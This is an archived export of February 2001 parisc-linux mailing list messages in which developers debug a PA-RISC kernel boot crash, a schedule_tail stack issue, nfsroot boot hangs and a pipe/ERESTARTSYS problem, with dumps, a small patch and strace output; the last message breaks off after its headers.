Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619895 15934 80.91.229.3 (22 Nov 2014 01:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:35 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 17:42:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 71DD94A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 17:42:19 -0700 (MST)
Original-Received: (qmail 29324 invoked by uid 0); 22 Feb 2001 00:42:14 -0000
Original-Received: from pd9040364.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.100)
  by mail.gmx.net (mail08) with SMTP; 22 Feb 2001 00:42:14 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A9369CF.C7DDC195@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10342

On Wednesday 21 February 2001 08:10, Rafael E. Herrera wrote:
>
> The compilation succeeds but the boot will crash here:
>
> [...]
> POSIX conformance testing by UNIFIX
>
>
> Dumping Stack from 14000000 to 14000240:
>
> Dumping Stack from 1026e000 to 1026e700:
[stack dump removed] 
> Kernel Fault: Code=15 regs=1026e4c0 (Addr=14000008)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001110
> r0-3     00000000 102ea000 10102ba8 14000000
> r4-7     14000240 1023a800 00000000 00000002
> r8-11    19a10000 00000005 00000000 00000005
> r12-15   00000004 00000006 00000008 00000006
> r16-19   1026e080 00000002 00000000 102ea000
> r20-23   00000000 00000060 00000001 00000002
> r24-27   00000001 00000001 1027b484 10266000
> r28-31   0000002a 015752a0 1026e700 00000060
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 10102b10 10102b14
>  IIR: 0c701093    ISR: 00000000  IOR: 14000008
> ORIG_R28: 00000000

I have the same problem on a 715/64.
I tried to find the reason for that problem, but since I'm no professional in 
parisc-assembler I'm some kind of stuck here right now.

As far as I've tested, the following patch (HACK!) to 
ret_from_kernel_thread() against CVS head gets me at least to the 
init-process (where it then crashes).

diff -u -r1.72 entry.S
--- entry.S     2001/02/20 02:19:52     1.72
+++ entry.S     2001/02/22 00:18:13
@@ -509,10 +509,12 @@
 
        /* Call schedule_tail first though */
 
+#if 0
        b,l     schedule_tail, %r2
        ldo     64(%r30), %r30
 
        ldo     -64(%r30), %r30
+#endif
        LDREG   TASK_PT_GR26-TASK_SZ_ALGN(%r30), %r1
        LDREG   TASK_PT_GR25-TASK_SZ_ALGN(%r30), %r26
        ble     0(%sr7, %r1)

I know this is *NOT* the correct patch, but AFAIT this means that 
something on the stack (return adress or the pointer to struct task_struct 
*prev for schedule_tail ?) isn't set up properly for 32bit PA ?

I know, that this isn't much information, but maybe this can give someone 
here on the list a clue, where the problem could be ?

Thanks,
Helge




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Thu, 22 Feb 2001 01:47:58 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <01022201475802.16704@P100.helgenet.de>
References: <Pine.LNX.4.21.0102221120430.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619895 15936 80.91.229.3 (22 Nov 2014 01:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:35 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: Alan Modra <alan@linuxcare.com.au>,
	"Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 17:45:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 20CDC4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 17:45:44 -0700 (MST)
Original-Received: (qmail 31788 invoked by uid 0); 22 Feb 2001 00:45:42 -0000
Original-Received: from pd9040364.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.100)
  by mail.gmx.net (mp013-rz3) with SMTP; 22 Feb 2001 00:45:42 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.4.21.0102221120430.14557-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10343

On Thursday 22 February 2001 01:23, Alan Modra wrote:
> On Wed, 21 Feb 2001, Rafael E. Herrera wrote:
> > Alan Modra wrote:
> > > On Wed, 21 Feb 2001, Rafael E. Herrera wrote:
> > > > The compilation succeeds but the boot will crash here:
> > > >
> > > > [...]
> > > > POSIX conformance testing by UNIFIX
> > >
> > > Yeah, same result here (except I get a reboot).  I'm not sure yet
> > > whether this is due to bugs in gcc or the kernel.
> >
> > Let me know I there is something I can try. Thanks
>
> Seems to be a kernel problem, or at least not a new gcc problem.  I dug
> out an old gcc, and got the same results with yesterday's kernel sources.

CVS from 2001/02/16 is the last one, which worked for me (independed of the 
compiler!).

Helge.




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting nfsroot-20001009.tar.gz
Date: Wed, 21 Feb 2001 21:42:21 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <3A947C8D.334DFA76@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619896 15940 80.91.229.3 (22 Nov 2014 01:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:36 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 19:42:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FABB4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 19:42:24 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id CAA2648803
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 02:49:22 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10344

I got linux-20010216.tar.gz and the kernel is not crashing. I've run
into into a boot problem. Ive added the nfsroot directory in the
/etc/fstab file. With options 'default', the init process stops when
trying to start 'portmapper', it just sits there, hitting CTRL-C
continues the boot process. If I add the option 'nolock' the portmapper
will be skipped.

Next, the init process will stop or hang when trying to start 'nscd', 
CTRL-C won't break it. I disabled that script also, and finally got the
whole boot to finish.

There are other programs that don't work either, 'tar' will just sit
there, as well as 'dpkg'.

Any suggestions? Thanks.

-- 
     Rafael




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting nfsroot-20001009.tar.gz
Date: Thu, 22 Feb 2001 16:08:45 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221550460.14557-100000@front.linuxcare.com.au>
References: <3A947C8D.334DFA76@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619896 15941 80.91.229.3 (22 Nov 2014 01:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:36 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 22:08:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7BBF4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 22:08:50 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA24138;
	Thu, 22 Feb 2001 16:08:45 +1100
In-Reply-To: <3A947C8D.334DFA76@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10345

On Wed, 21 Feb 2001, Rafael E. Herrera wrote:

> There are other programs that don't work either, 'tar' will just sit
> there, as well as 'dpkg'.
> 
> Any suggestions? Thanks.

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011709.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011718.html





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] schedule_tail
Date: Thu, 22 Feb 2001 16:32:51 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221622370.14557-100000@front.linuxcare.com.au>
References: <01022201400100.16704@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619896 15944 80.91.229.3 (22 Nov 2014 01:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:36 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 22:33:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEA954A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 22:33:23 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA24791;
	Thu, 22 Feb 2001 16:32:51 +1100
In-Reply-To: <01022201400100.16704@P100.helgenet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10346

On Thu, 22 Feb 2001, Helge Deller wrote:

> As far as I've tested, the following patch (HACK!) to 
> ret_from_kernel_thread() against CVS head gets me at least to the 
> init-process (where it then crashes).

I ripped out this call to schedule_tail _and_ the other one in
child_return, and things are working again for me.  schedule_tail doesn't
do much on uniprocessor.  Most likely %r26 was wrong.  I'd like to know 
why the stack adjust before calling schedule_tail too.

Alan





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: schedule_tail
Date: Wed, 21 Feb 2001 22:47:32 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20010221224732.Q31164@parcelfarce.linux.theplanet.co.uk>
References: <01022201400100.16704@P100.helgenet.de> <Pine.LNX.4.21.0102221622370.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619897 15948 80.91.229.3 (22 Nov 2014 01:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Matthew Wilcox <matthew@wil.cx>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 22:47:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A53704A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 22:47:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VobE-0003UP-00; Wed, 21 Feb 2001 22:47:32 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0102221622370.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 04:32:51PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10347

On Thu, Feb 22, 2001 at 04:32:51PM +1100, Alan Modra wrote:
> On Thu, 22 Feb 2001, Helge Deller wrote:
> 
> > As far as I've tested, the following patch (HACK!) to 
> > ret_from_kernel_thread() against CVS head gets me at least to the 
> > init-process (where it then crashes).
> 
> I ripped out this call to schedule_tail _and_ the other one in
> child_return, and things are working again for me.  schedule_tail doesn't
> do much on uniprocessor.  Most likely %r26 was wrong.  I'd like to know 
> why the stack adjust before calling schedule_tail too.

It does a lot of important stuff on SMP though.  It does the stack adjust
before calling because the disassembled 32-bit SMP code looks like this:

101186f4 <schedule_tail>:
101186f4:       08 03 02 41     copy r3,r1
101186f8:       08 1e 02 43     copy sp,r3
101186fc:       6b c2 3f d9     stw rp,-14(sr0,sp)

and we don't want to trash what was below the sp.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Thu, 22 Feb 2001 17:21:49 +1100 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221702100.14557-100000@front.linuxcare.com.au>
References: <20010221224732.Q31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619897 15949 80.91.229.3 (22 Nov 2014 01:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 23:22:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 445954A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 23:22:17 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA26292;
	Thu, 22 Feb 2001 17:21:49 +1100
In-Reply-To: <20010221224732.Q31164@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10348

On Wed, 21 Feb 2001, Matthew Wilcox wrote:

> It does a lot of important stuff on SMP though.

I'm not denying that :)

>  It does the stack adjust
> before calling because the disassembled 32-bit SMP code looks like this:
> 101186f4 <schedule_tail>:
> 101186f4:       08 03 02 41     copy r3,r1
> 101186f8:       08 1e 02 43     copy sp,r3
> 101186fc:       6b c2 3f d9     stw rp,-14(sr0,sp)
> 
> and we don't want to trash what was below the sp.

But this location is allowed to be modified by the callee, and I think you
already have a stack frame.

I wrote up some stuff on stack frames at
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011715.html

Alan





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Thu, 22 Feb 2001 17:29:21 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221726110.14557-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0102221702100.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619897 15954 80.91.229.3 (22 Nov 2014 01:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 23:29:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E039E4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 23:29:48 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA26470;
	Thu, 22 Feb 2001 17:29:21 +1100
In-Reply-To: <Pine.LNX.4.21.0102221702100.14557-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10349

On Thu, 22 Feb 2001, Alan Modra wrote:

> I wrote up some stuff on stack frames at
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011715.html

Which in looking at again, I realise is wrong.  :-(

The 64 bit "Outgoing Register Parameter Area" has eight entries, not four,
and the "Outgoing Stack Parameter Area" starts with arg word 8.





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Wed, 21 Feb 2001 23:31:29 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20010221233129.S31164@parcelfarce.linux.theplanet.co.uk>
References: <20010221224732.Q31164@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0102221702100.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619897 15956 80.91.229.3 (22 Nov 2014 01:31:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:37 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Helge Deller <deller@gmx.de>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 23:31:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 847444A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 23:31:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VpHl-0003ym-00; Wed, 21 Feb 2001 23:31:29 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0102221702100.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 05:21:49PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10350

On Thu, Feb 22, 2001 at 05:21:49PM +1100, Alan Modra wrote:
> But this location is allowed to be modified by the callee, and I think you
> already have a stack frame.

Umm... I'm not sure we always do.  It shouldn't be hard to arrange though.

> I wrote up some stuff on stack frames at
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011715.html

thanks, i was going from the pdfs, but yours is easier to understand.
i don't quite see why it needs `ap' (%r29) to be assigned a value when
calling a function which has no arguments.

would a `call-c-function' macro make sense?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 17:37:55 +1100 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221609360.14557-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619898 15960 80.91.229.3 (22 Nov 2014 01:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 23:37:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97F5A4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 23:37:56 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA26724
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 17:37:55 +1100
In-Reply-To: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10351

I had another look at the fixincludes problem, and found the following:

14:36:08 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158) = 158
14:36:08 alarm(10)                      = 0
14:36:08 read(6, "FALSE\n", 4096)       = 6
14:36:08 alarm(10)                      = 10
14:36:08 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
14:36:18 --- SIGALRM (Alarm clock) ---
14:36:18 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
14:36:28 --- SIGINT (Interrupt) ---
14:36:28 +++ killed by SIGINT +++

fd 5 and 6 are pipes to a /bin/sh.  -512 is ERESTARTSYS.  ERESTARTSYS
shouldn't happen, and is why fixincludes is bombing.

Nothing suspicious in previous rt_sigaction calls as far as I could see,
and putting in a debugging printk in do_sigaction shows sa_flags is being
set correctly, to 0x40.

Ideas?





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Thu, 22 Feb 2001 18:07:26 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221740200.14557-100000@front.linuxcare.com.au>
References: <20010221233129.S31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619898 15961 80.91.229.3 (22 Nov 2014 01:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	PL <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 00:07:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8F0B4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 00:07:34 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA27653;
	Thu, 22 Feb 2001 18:07:26 +1100
In-Reply-To: <20010221233129.S31164@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10352

On Wed, 21 Feb 2001, Matthew Wilcox wrote:

> On Thu, Feb 22, 2001 at 05:21:49PM +1100, Alan Modra wrote:
> > But this location is allowed to be modified by the callee, and I think you
> > already have a stack frame.
> 
> Umm... I'm not sure we always do.  It shouldn't be hard to arrange though.
> 
> > I wrote up some stuff on stack frames at
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011715.html
> 
> thanks, i was going from the pdfs, but yours is easier to understand.
> i don't quite see why it needs `ap' (%r29) to be assigned a value when
> calling a function which has no arguments.

No, it shouldn't be needed in that case.  It may be necessary in any of
the following cases:
a) the called function takes the address of one of it's args
b) has variable arguments
c) has more than 8 words of args (not always the same as more than 8 args)
d) needs to spill one of its args to the stack.
gcc ought to be able to convert a reference via %r29 to one via %r30, but
that doesn't work at the moment.

> would a `call-c-function' macro make sense?

Yes.





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile 
 system
Date: Thu, 22 Feb 2001 02:45:57 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <3A94C3B5.EF59259C@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au> <3A8FA3D8.19E69EF6@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619898 15965 80.91.229.3 (22 Nov 2014 01:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 00:48:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4ve.mailsrvcs.net (smtp4vepub.gte.net [206.46.170.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 271D04A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 00:48:16 -0700 (MST)
